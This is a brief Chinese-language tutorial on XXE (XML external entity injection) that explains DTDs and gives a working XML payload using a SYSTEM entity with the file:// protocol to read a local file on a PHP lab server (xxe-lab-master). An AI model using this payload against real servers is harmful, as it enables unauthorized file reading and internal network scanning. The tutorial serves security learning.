XXE:外部实体注入漏洞,外部实体指xml的DTD中声明和调用资源来自外部,包括本地其他文件和远程url资源,当DTD可以被用户控制时就可能造成任意文件读取或者内网扫描。内部实体指DTD申明写在XML内容头部。
DTD:文档类型定义,就是xml标签的属性类型等定义的声明部分。
以php为例,任意文件读取利用演示:
服务端:
可以看见服务端讲post内容,加载为xml,DTD部分就由用户控制。
构造包:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE user [
<!ELEMENT user ANY >
<!ENTITY username SYSTEM "file:///***/localhost/xxe-lab-master/php_xxe/1.txt" >]>
<user><username>&username;</username><password>123</password></user>
可以看到这里用了file协议,当然也可以用http,php伪协议等其他的,这里的路径必须是绝对路径。
1.txt是我自定义写入的内容。